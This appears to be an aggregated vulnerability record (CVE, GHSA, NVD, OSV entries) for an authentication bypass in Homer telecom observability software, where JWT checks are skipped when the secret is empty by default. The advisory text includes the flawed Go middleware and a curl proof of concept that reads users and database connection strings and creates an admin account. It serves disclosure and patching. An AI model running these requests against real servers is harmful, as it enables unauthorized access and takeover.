{"id":"CVE-2026-62253","aliases":["EUVD-2026-94523","GHSA-rqcc-94gv-wjm9","GO-2026-6673"],"status":"published","title":"Homer: Complete Authentication Bypass When coordinator.jwt.secret Is Empty (Default)","description":"Homer is open source telecom observability software. Prior to version 11.0.283, both JWT middleware functions (`JWTMiddleware` and `JWTMiddlewareV4`) immediately return `next(c)` when `jwtSecret == \"\"`. The JWT secret defaults to an empty string. On a default installation, all protected API endpoints under `/api/v1`, `/api/v3`, and `/api/v4` are completely unauthenticated. Version 11.0.283 patches the issue.","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00537,"percentile":0.45573,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-306"],"published":"2026-10-07T16:11:00Z","modified":"2026-10-28T02:31:11Z","fixes":[{"ecosystem":"Go","package":"github.com/sipcapture/homer-app","fixed_in":["0.0.0-20260625093330-5e90809657c9"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/sipcapture/homer-app","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.0-20260625093330-5e90809657c9"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/sipcapture/homer-app","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20260625093330-5e90809657c9"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/sipcapture/homer-app","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]}],"products":[{"vendor":"sipcapture","product":"homer"}],"references":[{"url":"https://github.com/sipcapture/homer/security/advisories/GHSA-rqcc-94gv-wjm9","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/sipcapture/homer/pull/839","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/sipcapture/homer/commit/5e90809657c9df321db191a69c6050f873f5646b","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/sipcapture/homer/releases/tag/11.0.283","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-rqcc-94gv-wjm9"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/62xxx/CVE-2026-62253.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62253","tags":["advisory"]},{"url":"https://github.com/sipcapture/homer","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-62253","title":"Homer: Complete Authentication Bypass When coordinator.jwt.secret Is Empty (Default)","description":"Homer is open source telecom observability software. Prior to version 11.0.283, both JWT middleware functions (`JWTMiddleware` and `JWTMiddlewareV4`) immediately return `next(c)` when `jwtSecret == \"\"`. The JWT secret defaults to an empty string. On a default installation, all protected API endpoints under `/api/v1`, `/api/v3`, and `/api/v4` are completely unauthenticated. Version 11.0.283 patches the issue.","status":"published","published":"2026-10-07T16:11:00.294Z","modified":"2026-10-10T02:36:21.763Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-306"],"updated_at":"2026-11-02T14:20:14.999906Z"}],"euvd":[{"id":"EUVD-2026-94523","description":"Homer is open source telecom observability software. Prior to version 11.0.283, both JWT middleware functions (`JWTMiddleware` and `JWTMiddlewareV4`) immediately return `next(c)` when `jwtSecret == \"\"`. The JWT secret defaults to an empty string. On a default installation, all protected API endpoints under `/api/v1`, `/api/v3`, and `/api/v4` are completely unauthenticated. Version 11.0.283 patches the issue.","status":"published","published":"2026-10-07T16:11:00Z","modified":"2026-10-10T02:36:21Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T17:27:24.157251Z"}],"ghsa":[{"id":"GHSA-rqcc-94gv-wjm9","title":"Homer: Complete Authentication Bypass When coordinator.jwt.secret Is Empty (Default)","description":"### Summary\nBoth JWT middleware functions (`JWTMiddleware` and `JWTMiddlewareV4`) immediately return `next(c)` when `jwtSecret == \"\"`. The JWT secret defaults to an empty string. On a default installation, all protected API endpoints under `/api/v1`, `/api/v3`, and `/api/v4` are completely unauthenticated.\n\n### Details\n**`coordinator/handlers/auth.go` lines 298-304:**\n```go\nfunc (h *Auth) JWTMiddleware() echo.MiddlewareFunc {\n    return func(next echo.HandlerFunc) echo.HandlerFunc {\n        return func(c echo.Context) error {\n            if h.jwtSecret == \"\" {\n                return next(c)  // bypass — no validation performed\n            }\n```\n\n**`coordinator/handlers/auth_v4_helpers.go` lines 177-182:**\n```go\nfunc (h *Auth) JWTMiddlewareV4() echo.MiddlewareFunc {\n    return func(next echo.HandlerFunc) echo.HandlerFunc {\n        return func(c echo.Context) error {\n            if h.jwtSecret == \"\" {\n                return next(c)  // same bypass\n```\n\n**`coordinator/coordinator.go` lines 315-317:**\n```go\nif c.config.JWT.Secret != \"\" {\n    protected.Use(authHandler.JWTMiddleware())  // middleware not even registered when secret is empty\n}\n```\n\n**`config/config.go` line 845:** `Secret` field struct tag has `default:\"\"`.\nThe example config ships a placeholder value, but the Go struct default (used when no config is provided) is empty.\n\n### PoC\n```bash\n# On a default Homer installation (no JWT secret configured), all protected routes are open:\ncurl http://\u003chomer-host\u003e/api/v3/users\n# Returns full user list with no credentials\n\ncurl http://\u003chomer-host\u003e/api/v3/databases\n# Returns all database connection strings\n\ncurl -X POST http://\u003chomer-host\u003e/api/v3/users \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"attacker\",\"password\":\"pw\",\"partid\":10,\"usergroup\":\"admin\"}'\n# Creates a new admin user with no credentials\n```\n\n### Impact\nMissing Authentication for Critical Function (CWE-306). On a default Homer installation with no JWT secret configured, every admin API endpoint is completely unauthenticated. Attackers can read/write all configuration, users, database connections, and stored VoIP call data.\n\n### Fix\nFail closed: if `JWT.Secret` is empty at startup, abort with a fatal error requiring the operator to set a strong secret. Remove the empty-string shortcircuit from both middleware functions:\n```go\nif h.jwtSecret == \"\" {\n    log.Fatal(\"coordinator.jwt.secret must be set to a non-empty value\")\n}\n```\n\nIf possible, please apply for a CVE number when posting.","status":"published","published":"2026-10-07T16:11:58Z","modified":"2026-10-07T16:11:59Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-306"],"updated_at":"2026-11-02T14:41:28.013673Z"}],"nvd":[{"id":"CVE-2026-62253","description":"Homer is open source telecom observability software. Prior to version 11.0.283, both JWT middleware functions (`JWTMiddleware` and `JWTMiddlewareV4`) immediately return `next(c)` when `jwtSecret == \"\"`. The JWT secret defaults to an empty string. On a default installation, all protected API endpoints under `/api/v1`, `/api/v3`, and `/api/v4` are completely unauthenticated. Version 11.0.283 patches the issue.","status":"published","published":"2026-10-07T17:16:56.627Z","modified":"2026-10-10T03:17:07.57Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-306"],"updated_at":"2026-11-02T14:12:54.809359Z"}],"osv":[{"id":"CVE-2026-62253","title":"Homer: Complete Authentication Bypass When coordinator.jwt.secret Is Empty (Default)","description":"Homer is open source telecom observability software. Prior to version 11.0.283, both JWT middleware functions (`JWTMiddleware` and `JWTMiddlewareV4`) immediately return `next(c)` when `jwtSecret == \"\"`. The JWT secret defaults to an empty string. On a default installation, all protected API endpoints under `/api/v1`, `/api/v3`, and `/api/v4` are completely unauthenticated. Version 11.0.283 patches the issue.","status":"published","published":"2026-10-07T16:11:00.294Z","modified":"2026-10-28T02:31:11.44638491Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-306"],"updated_at":"2026-11-02T15:45:12.933503Z"},{"id":"GHSA-rqcc-94gv-wjm9","title":"Homer: Complete Authentication Bypass When coordinator.jwt.secret Is Empty (Default)","description":"### Summary\nBoth JWT middleware functions (`JWTMiddleware` and `JWTMiddlewareV4`) immediately return `next(c)` when `jwtSecret == \"\"`. The JWT secret defaults to an empty string. On a default installation, all protected API endpoints under `/api/v1`, `/api/v3`, and `/api/v4` are completely unauthenticated.\n\n### Details\n**`coordinator/handlers/auth.go` lines 298-304:**\n```go\nfunc (h *Auth) JWTMiddleware() echo.MiddlewareFunc {\n    return func(next echo.HandlerFunc) echo.HandlerFunc {\n        return func(c echo.Context) error {\n            if h.jwtSecret == \"\" {\n                return next(c)  // bypass — no validation performed\n            }\n```\n\n**`coordinator/handlers/auth_v4_helpers.go` lines 177-182:**\n```go\nfunc (h *Auth) JWTMiddlewareV4() echo.MiddlewareFunc {\n    return func(next echo.HandlerFunc) echo.HandlerFunc {\n        return func(c echo.Context) error {\n            if h.jwtSecret == \"\" {\n                return next(c)  // same bypass\n```\n\n**`coordinator/coordinator.go` lines 315-317:**\n```go\nif c.config.JWT.Secret != \"\" {\n    protected.Use(authHandler.JWTMiddleware())  // middleware not even registered when secret is empty\n}\n```\n\n**`config/config.go` line 845:** `Secret` field struct tag has `default:\"\"`.\nThe example config ships a placeholder value, but the Go struct default (used when no config is provided) is empty.\n\n### PoC\n```bash\n# On a default Homer installation (no JWT secret configured), all protected routes are open:\ncurl http://\u003chomer-host\u003e/api/v3/users\n# Returns full user list with no credentials\n\ncurl http://\u003chomer-host\u003e/api/v3/databases\n# Returns all database connection strings\n\ncurl -X POST http://\u003chomer-host\u003e/api/v3/users \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"attacker\",\"password\":\"pw\",\"partid\":10,\"usergroup\":\"admin\"}'\n# Creates a new admin user with no credentials\n```\n\n### Impact\nMissing Authentication for Critical Function (CWE-306). On a default Homer installation with no JWT secret configured, every admin API endpoint is completely unauthenticated. Attackers can read/write all configuration, users, database connections, and stored VoIP call data.\n\n### Fix\nFail closed: if `JWT.Secret` is empty at startup, abort with a fatal error requiring the operator to set a strong secret. Remove the empty-string shortcircuit from both middleware functions:\n```go\nif h.jwtSecret == \"\" {\n    log.Fatal(\"coordinator.jwt.secret must be set to a non-empty value\")\n}\n```\n\nIf possible, please apply for a CVE number when posting.","status":"published","published":"2026-10-07T16:11:58Z","modified":"2026-10-20T00:55:52.571323559Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-306"],"updated_at":"2026-11-02T15:46:56.281047Z"},{"id":"GO-2026-6673","title":"Homer: Complete Authentication Bypass When coordinator.jwt.secret Is Empty (Default) in github.com/sipcapture/homer-app","description":"Homer: Complete Authentication Bypass When coordinator.jwt.secret Is Empty (Default) in github.com/sipcapture/homer-app.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: github.com/sipcapture/homer-app before v0.0.0-20260625093330-5e90809657c9.","status":"published","published":"2026-10-20T00:20:56Z","modified":"2026-10-20T00:45:10.116891294Z","updated_at":"2026-11-02T15:47:03.11707Z"}]}}
